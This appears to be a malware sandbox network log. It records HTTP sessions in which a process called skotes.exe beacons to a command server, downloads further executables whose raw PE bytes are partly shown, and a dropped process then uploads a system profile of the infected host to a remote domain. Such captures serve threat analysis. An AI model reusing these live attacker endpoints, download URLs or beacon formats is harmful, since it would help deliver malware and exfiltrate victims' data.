Dec 19, 2024 08:09:07.385374069 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 19, 2024 08:09:09.256305933 CET	856	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 39 39 0d 0a 20 3c 63 3e 31 30 31 37 34 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 34 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 37 34 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 37 34 32 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 [TRUNCATED] Data Ascii: 299 <c>1017422001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017423001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1017424001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017425001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017426001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1017427001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1017428001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49802	31.41.244.11	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:09.455907106 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 08:09:10.729302883 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:10 GMT Content-Type: application/octet-stream Content-Length: 4430848 Last-Modified: Thu, 19 Dec 2024 06:24:55 GMT Connection: keep-alive ETag: "6763bc37-439c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 b0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 b4 00 00 04 00 00 7b ec 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 8d b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 8d b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@{C@ _asad pa>(@.rsrcaN(@.idata aP(@ 7aR(@sgmjipkl0p"T(@pwaltzxfvC@.taggant0"zC@
Dec 19, 2024 08:09:10.729366064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:10.729423046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:10.729460001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:10.729522943 CET	896	IN	Data Raw: a6 60 6c 4f 92 29 ae df 4d 31 e9 39 18 71 1c ff 79 c7 76 fb 79 3b d8 e1 67 f1 cb c3 2a f4 02 68 61 40 93 f7 13 d7 a3 26 40 cf 86 ac 46 e7 63 4f 7f e5 ec 67 98 ea b2 e1 f9 75 57 e1 6d 37 57 e6 85 96 74 7a b1 d4 c7 c8 62 af 0c 1f b0 32 25 e1 81 e0 Data Ascii: `lO)M19qyvy;gha@&@FcOguWm7Wtzb2%.Bg=d.Ro33 ?^Y0Gf`b.6n'&i4^;x4^(<2M'E9k*~/$J3$&5Pn2:.9
Dec 19, 2024 08:09:10.729568005 CET	1236	IN	Data Raw: 8b c9 72 90 78 e6 74 6e 57 42 1b f3 ec 59 63 7f 93 18 26 12 2d 96 2d e7 bd 8f 33 3b a6 f4 ce bf c5 be b6 98 90 af 37 8b 55 cc 64 d0 f9 c0 aa d4 11 40 c8 37 cb d2 0a 42 b8 d0 d5 9e be 1e 45 83 2f c6 2e e5 cb 12 e3 ea 0d f2 9e b0 d1 f1 27 ed 34 47 Data Ascii: rxtnWBYc&--3;7Ud@7BE/.'4G[W(2K6x"xwG}lbF1)#]D/A0pIf;j`P_J+2^9O8b{#hJ7#}eHx0h?VnUT_S(jzN%.eHftaG<v`>^k26
Dec 19, 2024 08:09:10.729604006 CET	1236	IN	Data Raw: 9d 3f af 3a 6a b3 ef a0 22 45 1d 38 11 90 9e 76 bc b5 07 c9 4c af bc 52 4b d0 c2 20 15 05 56 4c 3a f2 2e 8b 2e 9a 46 ea 42 72 b4 9e 75 c2 c7 a6 33 1d d6 4c 0c 77 15 7c db f1 54 36 8b 4c 1a 2e 86 6a c8 a2 d9 30 51 66 9f 16 02 05 cd de bf d2 20 37 Data Ascii: ?:j"E8vLRK VL:..FBru3Lw\|T6L.j0Qf 7oY]fAV^ziJ"4{'C2Nc_8HWFs&"CK[hVNb)D)O^EW-!<xJ-RjsUFv\o~#sK}A]
Dec 19, 2024 08:09:10.729715109 CET	1236	IN	Data Raw: 89 3e 4e 1b e1 f3 98 d8 5e 15 eb d0 e1 ac 13 01 66 af 1d 1e cc 0b 37 60 52 12 f6 3b 5e be 96 40 05 e8 df 0c a3 06 fa 32 bb 81 0c 46 a3 36 9c 16 6e 02 51 0b ca e0 c7 63 db 73 e5 d1 51 cb 46 06 56 52 82 5f 63 13 1b ce f0 d7 55 a1 51 f5 e4 6d bc f4 Data Ascii: >N^f7`R;^@2F6nQcsQFVR_cUQmXS{U=m/Vv(H,1\W]mO9O#F4SO_ZVtGyQ$4XfV"#\|Z_:GQ"R7tl&4qE
Dec 19, 2024 08:09:10.729751110 CET	1236	IN	Data Raw: 19 40 7c 41 42 ef cf da 61 d3 51 68 72 e1 1f a4 c9 b0 7f e7 1f 22 66 11 19 0d 5e e9 4f dc 66 9e 5a d0 1d 76 48 31 44 51 e2 b2 ef c0 87 70 a6 c4 09 fe e7 68 e9 fb bd 85 eb ec d6 3f 7f b1 ad 54 81 c0 e5 b9 77 d4 a6 36 43 f1 20 c0 1d cf 93 d2 5e 1b Data Ascii: @\|ABaQhr"f^OfZvH1DQph?Tw6C ^0()wYIKNK"(lk)9&@_I;##30XpKkURba"i%]ZoAO-9fl-C+cF8W-m.^z0x>o7BD
Dec 19, 2024 08:09:10.729789972 CET	1236	IN	Data Raw: 72 9e 38 6b 6e a2 26 68 74 6c eb 07 a3 a6 e6 96 e5 59 e4 49 0f af 0e 8a eb da 07 df 18 ed ce 7f b6 9c e0 77 b4 be d3 b2 72 62 43 60 fd 7f 48 7a fc a7 47 ef d1 39 71 b4 35 31 40 70 f7 c7 24 e4 97 ea 09 e1 ab 3d 67 86 76 f6 12 ee 1c df 0f 68 13 df Data Ascii: r8kn&htlYIwrbC`HzG9q51@p$=gvhz.5pJylF]s%?oAGg'Qp{oO-MF:@OXcI4}}LKEz2))3Q(~hJFe"~k9zXj#f`^
Dec 19, 2024 08:09:10.849154949 CET	1236	IN	Data Raw: 70 da 44 1a 43 c9 dd 8f 21 28 4e 4c 9b 22 87 89 55 ca 69 2a d4 6a 30 a1 a1 dc 07 36 26 86 69 eb 28 b7 d6 ed 26 97 1b 15 6b a3 ab 79 2e b4 4e ba 19 b9 b4 ce 25 ca 62 37 1c 6d 0b 06 ae 9d 48 dd fa b2 1a 73 8a b7 08 7a 0d 3f 71 e2 63 a0 16 ea e7 a5 Data Ascii: pDC!(NL"Ui*j06&i(&ky.N%b7mHsz?qcf-6 Fou H?~x^oK");fq=E]]PM("Gnhdq;0tkNlZr~t~^LRojG'(nBjf()>\\|\|:(#o\|qf(FN^7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49835	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:20.252053022 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017422001&unit=246122658369
Dec 19, 2024 08:09:21.563492060 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49839	31.41.244.11	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:21.689249992 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 08:09:23.013232946 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:22 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 19, 2024 08:09:23.013263941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:23.013278961 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 19, 2024 08:09:23.013334990 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 19, 2024 08:09:23.013350964 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 19, 2024 08:09:23.013478994 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 19, 2024 08:09:23.013492107 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 19, 2024 08:09:23.013577938 CET	1236	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 19, 2024 08:09:23.013591051 CET	1236	IN	Data Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@
Dec 19, 2024 08:09:23.013603926 CET	896	IN	Data Raw: ac 65 42 00 e8 ad ff ff ff 83 25 ac 65 42 00 00 59 8d 4d fc e8 dc fb ff ff c9 c3 55 8b ec 8b 4d 08 b8 d8 c8 41 00 39 08 74 11 83 c0 08 3d 50 cb 41 00 75 f2 b8 24 07 42 00 5d c3 8b 40 04 5d c3 55 8b ec 51 51 8b 45 08 56 8b f1 89 45 f8 8d 45 f8 c6 Data Ascii: eB%eBYMUMA9t=PAu$B]@]UQQEVEEEV(A"bRP/YY^aaABAA(API/YUMhBBEP(UMuwhBBEP(UMuhCBE
Dec 19, 2024 08:09:23.132998943 CET	1236	IN	Data Raw: 85 c9 74 0b 8b 41 18 85 c0 75 09 8d 41 1c c3 b8 53 03 42 00 c3 56 57 8b f9 8b 07 8b 70 0c 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 33 c0 40 c3 33 c0 c7 01 6c cb 41 00 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c 89 41 20 89 41 24 89 Data Ascii: tAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F^^ ^$^(^,jYtj]YG~0UjhAdPVWB3PEdeV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49849	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:25.083606005 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 557977 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 32 31 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734592161", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Dec 19, 2024 08:09:25.203351974 CET	2472	OUT	Data Raw: 77 52 6f 5c 2f 59 37 77 43 4a 5c 2f 69 2b 4d 67 39 50 48 4f 6b 39 74 33 39 37 77 69 66 53 76 35 79 58 30 35 66 43 5a 5c 2f 38 41 4e 4f 2b 49 76 5c 2f 68 70 34 5a 39 66 2b 69 75 38 7a 2b 72 66 2b 4b 63 33 6a 64 5c 2f 30 56 50 68 58 5c 2f 77 43 48 Data Ascii: wRo\/Y7wCJ\/i+Mg9PHOk9t397wifSv5yX05fCZ\/8ANO+Iv\/hp4Z9f+iu8z+rf+Kc3jd\/0VPhX\/wCHvi7\/AOgc\/lGqOTt+P9K\/cb9p3\/glroOg6B8SdW\/Z2l8Ralqnwx8W22nXXhbxDqMer6t4k8P3fw38A+MJp9OuYLOwhfWdP1HxJqixWMVnF9v05beCEPqFsBqH4hzwT2s8ttcwyQXEEjxTQyo0csUsbFXjkRgG
Dec 19, 2024 08:09:25.203401089 CET	4944	OUT	Data Raw: 4e 4d 71 7a 51 72 31 48 49 50 76 76 2b 49 5c 2f 2b 76 56 6d 54 37 6a 66 53 6f 71 44 6f 4b 39 56 35 50 38 41 59 54 64 6a 5c 2f 50 65 72 6b 6e 62 38 66 36 56 57 2b 36 33 66 48 39 44 5c 2f 41 4a 5c 2f 53 67 36 71 58 54 5c 2f 44 5c 2f 41 4a 44 4f 6d Data Ascii: NMqzQr1HIPvv+I\/+vVmT7jfSoqDoK9V5P8AYTdj\/Perknb8f6VW+63fH9D\/AJ\/Sg6qXT\/D\/AJDOmz+Pp\/X\/AD+Pfuxvuv8AUfyWpt33\/wCD\/P8Anr06npTKDYpn\/ln+H9Kgfp+P9DV3Y3p\/L\/GoZFc7D9\/\/AD\/Pt7fjQXDf5fqimV\/uJ\/5F+nX\/AOtUPl\/3\/wDv3x\/k\/wCce1n\/AFf8Hz\/z9P8
Dec 19, 2024 08:09:25.203424931 CET	2472	OUT	Data Raw: 4a 47 72 39 6a 62 32 4a 4f 50 2b 47 74 66 54 6e 36 6e 38 5c 2f 67 66 78 74 2b 33 46 34 58 5c 2f 59 6b 5c 2f 34 4a 6d 66 73 71 2b 4a 51 64 50 31 6a 34 73 65 4c 5c 2f 41 4e 6d 4c 34 4a 36 4a 38 4a 76 42 74 31 4a 76 47 6f 36 34 76 77 6c 38 4a 2b 66 Data Ascii: JGr9jb2JOP+GtfTn6n8\/gfxt+3F4X\/Yk\/4Jmfsq+JQdP1j4seL\/ANmL4J6J8JvBt1JvGo64vwl8J+f4k1q2imiu\/wDhEvCyzQXurtE8LahdSaboEF1ZXGrx39p7b+yB\/wAFGfhV+0D+yprvx58c61pHgnXPg\/obH4+aPvfy\/DmpWFk9wmt6PYlptQutB8ZJA9z4VgiF3dT6m134Vgm1HVtKnaX\/AD5zXgHPsLlOY8V
Dec 19, 2024 08:09:25.203453064 CET	2472	OUT	Data Raw: 5a 37 4e 4e 56 65 37 74 4a 59 4c 79 47 33 75 49 76 72 6e 34 34 5c 2f 46 66 34 55 66 38 45 6c 5c 2f 32 57 66 68 70 34 4a 2b 46 50 77 7a 6b 38 5a 36 37 72 57 74 57 48 67 4c 34 66 2b 45 4c 42 6b 30 7a 55 66 48 66 6a 57 36 73 5c 2f 74 47 74 2b 4d 50 Data Ascii: Z7NNVe7tJYLyG3uIvrn44\/Ff4Uf8El\/2Wfhp4J+FPwzk8Z67rWtWHgL4f+ELBk0zUfHfjW6s\/tGt+MPGGrWdleXl5eXUqRy3n2WzvL+91C\/0fQdOjsdM8ubTP8ZcFwZgMRneMzHGZBV404h4x484ryXgzhD+0q2TZZUjlGMVXN884hzHCV8HjFgaU8ZDDYTC4bMcqv8AVcyx2MzChhsJTp4n\/fWfGmYYbhvKsuwnEFLgvh
Dec 19, 2024 08:09:25.203493118 CET	4944	OUT	Data Raw: 42 56 57 6b 4f 33 39 33 5c 2f 30 79 38 33 7a 4f 66 38 41 50 2b 65 6c 49 33 2b 73 5c 2f 77 42 67 78 66 36 75 50 50 38 41 6e 74 33 6f 4e 4b 66 58 35 66 71 56 74 76 38 41 48 30 39 50 4d 6c 5c 2f 47 71 7a 66 77 76 6d 4d 50 5c 2f 72 66 38 5c 2f 77 41 Data Ascii: BVWkO393\/0y83zOf8AP+elI3+s\/wBgxf6uPP8Ant3oNKfX5fqVtv8AH09PMl\/GqzfwvmMP\/rf8\/wA\/8mrLLu4HzvxFFJ1877H6fh+VMaPl\/wCP\/P59f0oOj2nl+P8AwCt88jSQp5jv\/wAsvLP7+a4\/z\/nkCiRt33P332j97\/rfp\/ntR9neRm34fy\/5Z\/X8qbG0Lcfff8P9eeP89vr0oOwjLfxvDg4\/eyeb1
